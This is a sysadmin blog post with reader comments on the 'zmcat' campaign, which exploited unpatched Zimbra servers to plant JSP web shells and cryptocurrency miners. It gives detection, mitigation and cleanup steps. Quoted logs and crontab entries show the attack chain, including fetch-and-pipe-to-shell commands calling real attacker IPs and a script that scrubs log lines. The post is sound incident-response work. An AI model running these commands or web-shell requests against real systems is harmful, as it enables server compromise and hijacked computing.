Some days ago Zimbra posted about a security vulnerability affecting all their versions. It’s a very severe bug because it’s exploitable on the http/https ports (and imap), which means you have no other means to keep you safe but by patching your installation! Zimbra released patches for 8.8.11P3, 8.7.11P10 and 8.6.0P14 versions. Technical details on the bug are here.
Of course everyone has its own matters, and it’s not always easy to schedule a downtime, but patch installation is very quick and almost risk free (at least for the ones I did so far), so patch ASAP!
The last call is very important, because in the last days an exploit has been found actively targeting and pwning unpatched Zimbra installations!
Last but not least: the patch does fix the issue which allows the attacker to enter, but it doesn’t clean your system! If a backdoor has been uploaded the patch doesn’t wipe it, the attacker will always be able to enter again!
The exploit has been named zmcat, at least in IRC where I first learned about the exploiting campaign. The name comes from the executable being dropped on the machine, which is /tmp/zmcat. The executable appears to be a Bitcoin miner, according to Virustotal.com. Other than running this binary the exploit doesn’t seem to do any harm to the server to be noticed: no CPU activity, no IO.
zmcat is not the only file uploaded on the server. Two bash scripts, l.sh and s.sh are again in /tmp. Those two files are the download vector of the executable itself. The first run is s.sh, which fetches l.sh from 185.106.120.118. I’ve contacted HostSailor abuse department to alert them about the host spreading malware.
As said the s.sh script is used to download another bash file. Based on the user the script it’s run on it downloads l.sh for unprivileged user or r.sh for root. In our case the script is run as zimbra system user, so fetches l.sh.
l.sh is a more complex one, thus still a bit rough. It appears to be some cut&paste work, with basic bash knowledge. The main purpose of this script is to download zmcat, with a variation between 32 and 64 bit, and ensure the script itself and the executable is always running.
The first thing l.sh does is tweaking system setting /proc/sys/vm/nr_hugepages.
Then it downloads zmcat binary from the host above and places it in /tmp. When fetched it’s immediately executed.
For persistency the script tries to put itself in /etc/crontab and /etc/rc.local, but being run as zimbra user it’s not able to do it.
Other than this it places some jsp, .class and .java files in Zimbra.
Those files are used as command proxy: calling those JSP allow running server commands via GET requests. Some example commands being run are:
/opt/zimbra/bin/zmprov ca 1LiU@domain.com
wget -O /opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp http://87.236.233.105/reports/tmp.txt
/opt/zimbra/bin/zmprov da 1LiU@domain.com
zmcat detection
Detecting the infection is pretty easy: if you have some monitoring tool like Zabbix, you can automate it by checking the presence of /tmp/zmcat file. Here’s a sample template for detecting zmcat in Zabbix.
UPDATE: this is not valid anymore! The attacker learned and updated its approach and they’re now uploading files with many different names! The more common are zmswatch, zmlogswatch, and many others. I’ve updated the template but it’s only partially useful at this time.
Other than this you can check Zimbra’s log files, namely mailbox.log and nginx.access.log. I.e. in nginx I found this:
104.168.158.113:48768 - - [02/Apr/2019:11:49:43 +0200] "POST /AutoDiscover/ HTTP/1.1" 503 13388 "-" "python-requests/2.9.1" "10.0.0.5:8443" 104.168.158.113:48770 - - [02/Apr/2019:11:49:45 +0200] "POST /service/soap HTTP/1.1" 200 1042 "-" "python-requests/2.9.1" "10.0.0.5:8443" 104.168.158.113:48772 - - [02/Apr/2019:11:49:47 +0200] "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap/ HTTP/1.1" 200 1057 "-" "python-requests/2.9.1" "1 0.0.0.5:8443" 104.168.158.113:48774 - - [02/Apr/2019:11:49:49 +0200] "POST /service/extension/clientUploader/upload HTTP/1.1" 200 292 "-" "python-requests/2.9.1" "10.0.0.5:8443" 104.168.158.113:48776 - - [02/Apr/2019:11:49:51 +0200] "GET /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 468 "-" "python-requests/2.9.1" "10.0.0.5:8443" 104.168.158.113:48778 - - [02/Apr/2019:11:49:53 +0200] "POST /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 469 "-" "python-requests/2.9.1" "10.0.0.5:8443" 104.168.158.113:48780 - - [02/Apr/2019:11:49:55 +0200] "GET /img/ikDB.jsp?pwd=4BkLUS HTTP/1.1" 200 470 "-" "python-requests/2.9.1" "10.0.0.5:8443"
As you see POSTs are done against /service/proxy. While those requests might be legit, the user agent can help you discriminate exploiting attempts.
As said above the cracker also uses uploaded JSP files to execute commands on the server. You can find traces of this activities in /opt/zimbra/log/audit.log. As a blind shot you can search for downloads, and you’ll find the malicious jsp being called.
If you’re more intrigued and want to really know what has been done on your server you can go through audit.log and trace.log, you’ll find interesting things:
2019-03-28 06:20:57,744 INFO [qtp127618319-179157:http://1.2.3.4/service/soap] [name=zimbra;oip=212.200.106.194;port=37946;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2
851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:20:59,144 INFO [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=AdminAuth;
account=zimbra;
2019-03-28 06:20:59,144 INFO [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=Auth; acco
unt=zimbra; protocol=soap;
2019-03-28 06:20:59,294 INFO [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=AdminAuth; account=zimbra;
2019-03-28 06:20:59,295 INFO [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:21:06,355 INFO [qtp127618319-179171:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;] security - cmd=CreateAccount; name=1liu@domain.com;
2019-03-28 06:21:07,976 INFO [qtp127618319-179165:http://1.2.3.4/downloads/LU4e.jsp] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:10,463 INFO [qtp127618319-179170:http://1.2.3.4/downloads/LU4e.jsp?cmd=wget%20-O%20/opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp%20http://87.236.233.105/reports/tmp.txt] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:22,810 INFO [qtp127618319-179139:http://1.2.3.4/downloads/LU4e.jsp?cmd=/opt/zimbra/bin/zmprov%20da%201LiU@domain.com] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
Attack mitigation
The first and only valid defense is patching.
Given that I’m suggesting here a temporary solution which can help you gain time, but it’s very trivial and might be ineffective in short time.
Blocking user agent
UPDATE: not really useful.
From the log above all the automated requests come from a specific useragent: python-requests/1.1.0. By blocking this useragent you can prevent zmcat uploads.
Open /opt/zimbra/conf/nginx/templates/nginx.conf.web.http.default.template with an editor, just after the server { open bracket put the following lines:
if ($http_user_agent ~ (python-requests) ) {return 403;}
Do the same for the https template /opt/zimbra/conf/nginx/templates/nginx.conf.web.https.default.template and restart proxy service. It’s a weak test, but effective for the current campaign:
203.129.203.6:52843 - - [03/Apr/2019:17:41:01 +0200] "GET /console/login/LoginForm.jsp HTTP/1.1" 403 310 "-" "python-requests/1.1.0 CPython/2.7.5 Linux/3.10.0-121.el7.x86_64" "-"
Firewall blocking
UPDATE: now useless! Another mitigation is to block traffic to and from the IPs where the jsp and sh are downloaded: 87.236.233.105 and 185.106.120.118 (update: This has been taken down by Hostsailor).
Again this is very weak, payload might be easily uploaded somewhere else.
It could be more effective if you have a restricted user base and can do GeoIP blocking. I.e. if you’re in Italy and can block access to your Zimbra http/s and imap/s ports to Italy only. Again this will lower the risk of infection, but won’t keep you totally safe anyway!
Hide from search engines
Again not totally effective, but hiding from search engines can help you not being found by automated scripts.
zmprov mcf zimbraMailKeepOutWebCrawlers TRUE +zimbraResponseHeader "X-Robots-Tag: noindex"
This doesn’t work for other engines like Shodan, but generally I keep my webmail not searchable.
Cleanup zmcat
This is a little mess. JoBbZ on IRC wrote:
I hear the “best” thing to do if you got hacked is spin up a clean, patched system, and move the mailboxes over to it
But let’s not be so dramatic. 😅 Indeed different levels of compromisation have been reported on IRC and the forums. Most of the times new files were added to Zimbra, in some original ones were touched!
I’m reporting here what I gathered from personal experience and others’ feedback. Elaborate and decide yourself what to do, take snapshots/backups/rsync before proceding and anyway do it on your own responsibility, I shall not be liable of any damage you caused to your systems!
The most secure approach in restoring a compromised server is exactly what JoBzZ said above: spin up a new server, copy over data from the bad server, turn the new one live.
The best way to do so is to use ZeXtras Migration Tool: it’s a licensed software but they offer a fully working 30 days trial you can use to perform your data migration without data loss.
Another approach is to uninstall Zimbra (keeping your data!), wipe what’s left around except configuration, store, database and then do a software only install, followed by zmsetup. This is extremely dangerous and should be done only by expert administrators.
Then there’s manual cleanup. It’s the easiest approach because it doesn’t cause downtime, but can potentially leave traces of the infection around which can be used by the attacker to re-upload its files.
To manually clean up:
- first of all patch Zimbra, and/or block the python useragent from uploading the crap again;
- kill all running processes of the two bash scripts (which can be of different names now) and zmcat (again). An helpful command could be
ps faux | grep l\.sh
there might also be some wget processes running, kill them as well - delete the sh scripts and zmcat from /tmp;
- now the hardest part: delete all the proxying jsp and java from /opt/zimbra.
A very handy command, posted by lfasci on the forum, is:find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*.class" -mtime -15 -ls
This will find all the JSP and JAVA files updated within the last 15 days. If you applied the patch in this timeframe some legit classes will show up, but compromised ones are quite easy to detect: the file name is four characters long and with random bits. From the log above you can spot downloads/LU4e.jsp, public/jsp/ynwD.jsp, downloads/PS1q.jsp.
This is a manual process, unless you want to extract all the matching jsp pattern from the logs. Instead of deleting move the files to a temporary directory. To make sure they’re not Zimbra official files you can open them: if they look crap, all the code in one line without newlines, 99% it has to be moved away.
Remember to restart zimbra after cleaning up class and jsp files.
Another automated check could be to compare the JSPs with the txt downloaded from 87[.]236.233.105 (the IP you find in the logs); - UPDATE: step before has become only partially effective because now the attacker changes mtime of the uploaded files, and also adpted different naming. Another way to scan for malicious JSPs is:
grep -R '(request.getParameter.' /opt/zimbra/mailboxd
grep -R '(request.getParameter.' /opt/zimbra/jetty - again lfasci notices you might find a file named ZimbraApps.jsp: this is not part of Zimbra but it’s a file browser extensions (jspbrowser), which can potentially allow an attacker to browse your filesystem (again as zimbra user);
- verifying original Zimbra files can be done using package managers. In Ubuntu you can:
apt install debsumsIn RHEL/CentOS:
dpkg -l zimbra* | grep ^ii | awk '{print $2}' | xargs debsums -crpm -qa zimbra* | xargs rpm -qV - | egrep -E '^.{2}5'
The commands above will print all the files which MD5 is different from the one installed by packages. Some changes might be legit, so you have to manually inspect the files to see if they’re valid or not; - recover your crontab which has probably been corrupted;
- check your /opt/zimbra/.ssh/authorized_keys which should only contain your local zimbra ssh key.
After cleanup it’s always a good idea to change LDAP and MySQL passwords using zmldappasswd, as the attacher had access to all Zimbra files. You can change admin, root, amavis, nginx and postfix passwords with the following commands:
zmldappasswd <random>
zmldappasswd -r <random>
zmldappasswd -a <random>
zmldappasswd -n <random>
zmldappasswd -p <random>
zmmypasswd <random>
zmmypasswd --root <random>
As the attacker can potentially have access to all zimbra files, he could have stolen ssh identity file and/or have set a password for the zimbra user, so he can ssh into the system later. Do:
- check with last or last -f /var/log/wtmp for unexpected logins;
- check /var/log/auth.log or /var/log/secure for remote ssh logins for zimbra user;
- check /etc/shadow if the zimbra user has a password set: it should not.
If you feel your keys can be compromised you can regenerate them with:
su - zimbra
zmsshkeygen
zmupdateauthkeysI hope this will help others. If you have improvements or corrections please let me know.
UPDATE 0900 CEST: Hostsailor replied me they blocked the host delivering zmcat binaries!
UPDATE 2023 CEST: added more details on the file and on how to find malicious JSP files
UPDATE apr 9th: added *_jsp.java files find as per Israeru comment
UPDATE apr 12th: added package MD5 verification and other recovery methods
UPDATE apr 26th: link to 8.6P14, added advices for potential ssh logins
UPDATE may 2nd: added ldap and mysql password change commands.
UPDATE may 30th: several updates with new behaviour of the attack.
Hi,
Thank you so much for this! This post is gold!!!
I’ll share it asap with my customers that still did not upgrade.
Sebas
There is a new origin ip! 181[.]148.183.75
Hi,
Thank you for the great analysis. It helped a lot!
Right now I still see attacks from mainly 2 IPs:
213[.]221.224.122
85[.]234.126.92
My Zimbra installations are 8.8 12, so they seem to withstand the attacks so far.
Again, thank you!
The hacker are putting more garbage in /opt/zimbra/jetty-distribution-version#/work/zimbra/org/apache/jsp/public_/jsp
????_jsp.class and ?????_jsp.java
GOOD CATCH! I was missing those files! I’ll update the post, thank you!
The files in that directory are not identified as virus by any AV so far. I tried with virus total vt cli utility. Be aware that any file created recently are a host of the injector.
here’s origin which infect my server 89[.]221.52.122
/opt/zimbra/jetty-distribution-version#/work/zimbra/org/apache/jsp/public_/
This is the correct path
You can use /opt/zimbra/jetty weblinks, should apply to the current installed version
89[.]221.52.122 new ip
I agree !
Ip that I blacklisted :
185[.]99.13375
87[.]236.233.105
185[.]106.120.118
89[.]221.52.122
181[.]148.183.75
213[.]221.224.122
85[.]234.126.92
181.112.138.130
104.168.158.114
su root
cd /tmp
chmod 0 l.sh
chmod 0 s.sh
reboot
top
You can write rule for nginx with block POST to ~ *.jsp in /img and /download
Hi friend, I used the command and i saw some strange process is running , but I can’t stop it by kill command , you guys have any advice ?
root 874 0.0 0.0 0 0 ? S 00:06 0:00 \_ [kdmflush]
root 875 0.0 0.0 0 0 ? S 00:06 0:00 \_ [kdmflush]
root 1442 0.6 0.0 0 0 ? S 00:06 0:03 \_ [flush-253:0]
root 14366 0.0 0.0 105368 876 pts/0 S+ 00:16 0:00 \_ grep l.sh
these are system processes! you cannot kill them
do you have to restart zimbra once you delete the .jsp files
also I found s1cb.jsp dates to march 26 on my server
Indeed I noticed that. I’ve added to the post
Two more ips:
66[.]79.176.200
93[.]113.108.146
Another sh file i found was cr.sh in crontab, this was the line:
* * * * * wget -q -O – http://93[.]113[.]108.146:443/cr.sh | sh > /dev/null 2>&1
And the directory for the .jsp files was jetty/webapps/zimbra/downloads and public.
new ip 93[.]113.108.146
writes to /var/tmp/
conferm Skuti new ip 93.113.108.146
and /var/tmp
and crontab -u zimbra
12963 zimbra 20 0 274m 5332 444 S 199.6 0.5 87:22.14 /opt/zimbra/log/zmswatch
Buenos dias
Tengo este proceso consumiendo bastante recurso en mi maquina, esta recien instalada zimbra 8.6.0_GA he instentado cancelarlo pero el vuelve y aparece. me indican por favor que se puede hacer.
Muchas gracias, en lo que me puedan colaborar
Andres Loaiza
looks like a “variation” of zmcat, there are no executable in the logs directory. follow the guidelines above to get rid of the infection
Hola Andrés,
ZMSWATCH es una variante de ZMCAT. Subí el binario a virustotal.com y dio positivo como minador de bitcoins.
Mi servidor Zimbra 8.6 GA 1153 fue atacado el 5 de mayo y encontré este proceso ZMSWATCH consumiendo todo el CPU de mi VPS.
Lo solucioné cambiando los permisos y el propietario de los archivos relacionados:
# chown root:root /opt/zimbra/log/zmswatch*
# chmod 400 /opt/zimbra/log/zmswatch*
Luego apliqué el ultimo parche P14 para la version 8.6 de Zimbra (revisar la wiki de Zimbra para mas informacion)
Si el ataque dejó dañada la interfaz de Zimbra, mostrando un error: “not found public/error.jsp”, hay que detener Zimbra:
zmcontrol stop
Luego hay borrar el contenido de la carpeta /opt/zimbra/jetty/webapps/zimbra/public y restaurar desde algun backup o desde los instaladores RPM de la version en cuestion de Zimbra, el contenido de la misma carpeta /opt/zimbra/jetty/webapps/zimbra/public
Antes de finalizar, como root hay que resolver cualquier problema de permisos:
# /opt/zimbra/libexec/zmfixperms -e
Finalmente hay que arrancar el servicio de Zimbra a ver si funciona todo bien.
Hola Walter,
creo que es mejor invertir el proceso de instalación del parche y la restauración desde el backup, el parche modifica ficheros que hay en /opt/zimbra/jetty/, si después de instalar el parche restauras una copia antigua encima te vas a quedar con ficheros vulnerables . Yo seguí el mismo procedimiento que has descrito para desinfectar una instalación de Zimbra con zmswatch.
Como añadido decir que yo me encontré al final del cron de zimbra una linea que llamaba a /opt/zimbra/log/zmswatch.sh cada 15 minutos, el contenido del script es el que sigue:
#!/bin/sh
AGENT_FILE=’/opt/zimbra/log/zmswatch’
if ps cax | grep -v grep | grep -v “zmswatch.sh” | grep “zmswatch” > /dev/null; then
echo “running”
else
echo “nohup”
nohup /opt/zimbra/log/zmswatch > /dev/null 2>&1 &
fi
sed -i ‘/Ajax\.jsp/d’ /opt/zimbra/log/*_log.2019*
sed -i ‘/XZimbra\.jsp/d’ /opt/zimbra/log/*_log.2019*
sed -i ‘/login\.jsp/d’ /opt/zimbra/log/*_log.2019*
sed -i ‘/ZimbraCore\.jsp/d’ /opt/zimbra/log/*_log.2019*
I applied the patch, cleaned up and still zmcat keeps appearing on the server.
What can be done?
Seems the attacker is uploading the file also to /var/tmp and the patch doesn’t seem to fix anything.
The patches fixes the bug, but if the attacked dropped a backdoor it can re-enter whenever he wants! It’s up to you to make a very careful and deep system cleaning!
I am running version 8.6.0 and there are files being created in the / opt / zimbra / jetty / work / zimbraAdmin folder
/ opt / zimbra / jetty / work / zimbra
Do you know if this is normal?
They can be created anywhere on the system where the zimbra user can go
new ip:
185[.]99.133.75
185[.]106.120.123
Monero.Cryptocurrency.Miner
/tmp/zmcat /tmp/l.sh /tmp/s.sh
thank you
Found this inside the Crontab for Zimbra (Centos install)
This is what downloads the script back to the server. I don’t see any other jsp files around after cleanup.
Inside /var/spool/cron/zimbra
* * * * * wget -q -O – http://93[.]113.108.146:443/cr.sh | sh > /dev/null 2>&1
Hi, i think a temporary solution is to create (as root) the filename zmcat with 000 permissions, here the commands:
cd /tmp
touch zmcat
chmod 000 zmcat
The attacker will try to upload the file but it fail because cannot rename the file. You may only see the empty file “tmp.txt” created, but no binary is uploaded to the server.
Regards.
chmod -w /var/spool/cron/zimbra ; chattr +i /var/spool/cron/zimbra
New attacker create /opt/zimbra/log/zmswatch and /opt/zimbra/log/zmswatch.sh
Look into crontab of zimbra. I seeing 2 lines : one to download and execute a sh file, and another to execute the zmswatch.sh
Now it’s made trought another program, dblaunchs, if you kill it you’ll see the system calls curl command and next, two or three new temp programs launched: “dblauchs_XXXXX”, only for a few seconds and then dblauchs appears.
It seems that there is nothing in zimbra’s crontab, or another user. And the tmp folder does not show anything anormal.
New IP: 95[.]179.215.180
This command “ps auxwe | grep dblaunchs” shows
zimbra 2254 187 0.1 264604 8020 ? Sl 10:48 11:29 dblaunchs USER=root no_proxy=139.99.120.75,198.12.156.218,198.12.156.218,139.224.20.173 SHLVL=9 HOME=/opt/zimbra OLDPWD=/tmp LOGNAME=root _=/bin/sh PATH=/tmp/.dbb/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C PWD=/tmp/.dbb
But the directories are empty.
I put in root crontab kill $(ps aux | grep ‘dblaunch’ | awk ‘{print $2}’) every five minutes to kill it if appears the process.
oggi ho scoperto che lasciare zimbra senza patch non è consigliabile, ma grazie alle indicazioni sul tuo sito ho risolto rapidamente (o ora ho installato l’ultima patch)
grazie mille!
More news, there is a file /opt/zimbra/jetty/webapps/zimbra/downloads/zimbrapi.jsp, which downloads a file using curl from http://198.12.156.218/plus/zxx.2 in base 64.
This ip is from godaddy, and the file zxx2 search more files in that ip, executes the dblaunchs….
I got two pwned installations, I found dblaunchs eating CPU in one, /opt/zimbra/log/zmswatch.sh in the other, but no /tmp/zmcat /tmp/l.sh /tmp/s.sh.
In one of those I had zimbra’s crontab edited with wget.
In the hurry, I decided to remove /opt/zimbra/jetty and /opt/zimbra/log, and reinstall the same version.
Everything is working now, but in the next days I will replace those old installations and migrate data.
I need to update the Zabbix template to check the newly created files
Today I found a new admin was created.
Thus, a full backup/restore would recreate that admin back.
Salute, in my case the attacker touch the Ajax.jsp present in /jetty directory, do you have some advice to restart / fix the jetty directory. Thanks in advance
Either recover them from a backup or make a fresh installation of the same version (patched) and copy over the files
Hi Maxxer, thank you very much for you article!
I managed to clean things out (hopefuly all of them), and also would like to share some info
for people like us, you might find it useful
I had 8.6 did patch, but it seemed (zmcat) eat some of files, i was getting 403
https://forums.zimbra.org/viewtopic.php?t=66006 (thanks for authors, found that article)
luckily had backup and pulled diff of files copied them where they were missing
also, I had those file laying arround
/opt/zimbra/jetty/webapps/zimbra/js/zimbra/csfe/XZimbra.jsp
/opt/zimbra/jetty/webapps/zimbra/public/Ajax.jsp
deleted them
btw, you said that patch doesnt clean, in my case it seems that patch also deleted files from download folder img and some other (I saw in backup that there were for e.g. 190.152.71.46 – PyQ0@domain.tld [] “GET /downloads/RUmf.jsp HTTP/1.1” 404 – “-” “python-requests/2.21.0” 216)
also, check for new account via your zimbra admin interface, you might be having some new users dropped by zmcat
delete them and dont look back 🙂
For sure the patch doesn’t clean the infection! It could be that overwrote some files the hacker compromised, but if it is it happened by mistake 😀
Our fix: (read till the end)
1. rm -rf /var/tmp/zmcat
2. remove all vicious crontab jobs that have been appended, we had 3 new jobs at the bottom (our example):
* * * * * wget -q -O – http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1
*/60 * * * * curl -s http://216.155.152.169/wl/wl_4at5.txt|sh;
*/60 * * * * sh /opt/zimbra/log/zmswatch.sh
3. pkill zmcat (and zmswatch if you got this as well).
4. stop Zimbra service.
5. ** we had to restore Zimbra configurations from a backup since our ‘/opt/zimbra/jetty/webapps/zimbra/public’ folder
got corrupted. In case you have got a backup just take ‘/opt/zimbra/jetty/webapps/zimbra/public’ folder and paste in
your live server.
6. Start Zimbra service.
Hello RonG,
Please give me your email address, I want to ask you something. Thank you very much!
I patch one of my zimbras but the new hacker put some new garbage and kill all the zimbra procesess, this is more aggressive one
1610698220 4 -rw-r—– 1 zimbra zimbra 387 May 6 18:39 /opt/zimbra/jetty/webapps/zimbra/downloads/zimbrapi.jsp
1612623902 4 -rw-r—– 1 zimbra zimbra 26 May 6 22:31 /opt/zimbra/jetty/webapps/zimbra/downloads/intest.jsp
537446665 8 -rw-r—– 1 zimbra zimbra 4826 May 6 18:39 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/zimbrapi_jsp.java
537224161 8 -rw-r—– 1 zimbra zimbra 4496 May 6 22:31 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/intest_jsp.java
537452078 8 -rw-r—– 1 zimbra zimbra 5962 May 6 18:39 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/zimbrapi_jsp.class
537224190 8 -rw-r—– 1 zimbra zimbra 5234 May 6 22:31 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/intest_jsp.class
4308213 4 -rw-r—– 1 zimbra zimbra 1339 May 7 11:59 /opt/zimbra/jetty/work/zimbraAdmin/jsp/org/apache/jsp/public_/admin_jsp$1.class
Who can tell me more about the new hacker of zimbrapi.jsp
Hi Guys,
are there some up to date (attacker) IP list that are spreading this exploit, I have collected some of them, and it seems that it does the job for now, i found some IPs here and some are from my logs that I saw that were trying or attack(404)/or being already 200
[root@mymail ~]# iptables -nvL
Chain INPUT (policy DROP 11076 packets, 1188K bytes)
pkts bytes target prot opt in out source destination
0 0 DROP all — * * 112.118.155.15 0.0.0.0/0
0 0 DROP all — * * 158.69.195.70 0.0.0.0/0
0 0 DROP all — * * 184.69.211.6 0.0.0.0/0
5 300 DROP all — * * 104.168.211.236 0.0.0.0/0
0 0 DROP all — * * 104.168.158.113 0.0.0.0/0
0 0 DROP all — * * 104.168.158.114 0.0.0.0/0
0 0 DROP all — * * 181.148.183.75 0.0.0.0/0
0 0 DROP all — * * 185.106.120.118 0.0.0.0/0
0 0 DROP all — * * 185.99.133.75 0.0.0.0/0
0 0 DROP all — * * 203.129.203.6 0.0.0.0/0
3918 199K DROP all — * * 213.221.224.122 0.0.0.0/0
0 0 DROP all — * * 66.79.176.200 0.0.0.0/0
0 0 DROP all — * * 85.234.126.92 0.0.0.0/0
0 0 DROP all — * * 87.236.233.105 0.0.0.0/0
0 0 DROP all — * * 89.221.52.122 0.0.0.0/0
0 0 DROP all — * * 103.10.62.174 0.0.0.0/0
0 0 DROP all — * * 104.168.170.48 0.0.0.0/0
12 608 DROP all — * * 112.78.137.50 0.0.0.0/0
0 0 DROP all — * * 149.129.133.222 0.0.0.0/0
0 0 DROP all — * * 181.112.138.130 0.0.0.0/0
0 0 DROP all — * * 185.172.65.80 0.0.0.0/0
9 456 DROP all — * * 91.232.125.211 0.0.0.0/0
0 0 DROP all — * * 93.113.108.146 0.0.0.0/0
0 0 DROP all — * * 190.152.71.46 0.0.0.0/0
Hi guys again me,
found something interesting, btw ip and server are up, i was able to download that zip file (com_zimbra_clientuploader.zip)
149.129.133.222 – – [15/Apr/2019:16:51:23 +0000] “POST /service/proxy?target=http://47.74.43.251/com_zimbra_clientuploader.zip&upload=1 HTTP/1.1” 200 242 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1896
149.129.133.222 – – [09/Apr/2019:04:54:45 +0000] “POST /Autodiscover/Autodiscover.xml HTTP/1.1” 503 11795 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 903
149.129.133.222 – – [09/Apr/2019:04:54:51 +0000] “POST /service/soap HTTP/1.1” 200 – “-” “python-requests/2.18.4” 208
149.129.133.222 – – [09/Apr/2019:04:54:55 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 200 523 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 313
149.129.133.222 – – [09/Apr/2019:04:54:59 +0000] “POST /service/extension/clientUploader/upload HTTP/1.1” 200 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 226
149.129.133.222 – – [09/Apr/2019:04:55:05 +0000] “POST /service/extension/clientUploader/upload HTTP/1.1” 200 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 223
149.129.133.222 – null [09/Apr/2019:04:55:09 +0000] “POST /downloads/cmd.jsp?pwd=023&cmd=mv%20/opt/zimbra/jetty/webapps/zimbra/downloads/404.jsp%20/opt/zimbra/jetty/webapps/zimbra/public/404.jsp HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 139
149.129.133.222 – null [09/Apr/2019:04:55:13 +0000] “POST /downloads/cmd.jsp?pwd=023&cmd=touch%20-r%20/opt/zimbra/jetty/webapps/zimbra/public/404.html%20/opt/zimbra/jetty/webapps/zimbra/public/404.jsp HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 11
149.129.133.222 – null [09/Apr/2019:04:55:17 +0000] “POST /downloads/cmd.jsp?pwd=023&cmd=rm%20-rf%20/opt/zimbra/jetty/webapps/zimbra/downloads/cmd.jsp HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 8
149.129.133.222 – – [15/Apr/2019:16:51:06 +0000] “POST /Autodiscover/Autodiscover.xml HTTP/1.1” 503 11795 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1409
149.129.133.222 – – [15/Apr/2019:16:51:11 +0000] “POST /service/soap HTTP/1.1” 200 – “-” “python-requests/2.18.4” 219
149.129.133.222 – – [15/Apr/2019:16:51:15 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 200 519 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 261
149.129.133.222 – – [15/Apr/2019:16:51:19 +0000] “POST /service/extension/clientUploader/upload HTTP/1.1” 200 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 345
149.129.133.222 – – [15/Apr/2019:16:51:23 +0000] “POST /service/proxy?target=http://47.74.43.251/com_zimbra_clientuploader.zip&upload=1 HTTP/1.1” 200 242 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1896
149.129.133.222 – – [15/Apr/2019:16:51:28 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 500 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 325
149.129.133.222 – – [16/Apr/2019:03:46:49 +0000] “POST /Autodiscover/Autodiscover.xml HTTP/1.1” 503 11795 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1006
149.129.133.222 – – [16/Apr/2019:03:46:54 +0000] “POST /service/soap HTTP/1.1” 200 – “-” “python-requests/2.18.4” 215
149.129.133.222 – – [16/Apr/2019:03:46:57 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 200 519 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 260
149.129.133.222 – – [16/Apr/2019:03:47:01 +0000] “POST /service/extension/clientUploader/upload HTTP/1.1” 200 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 210
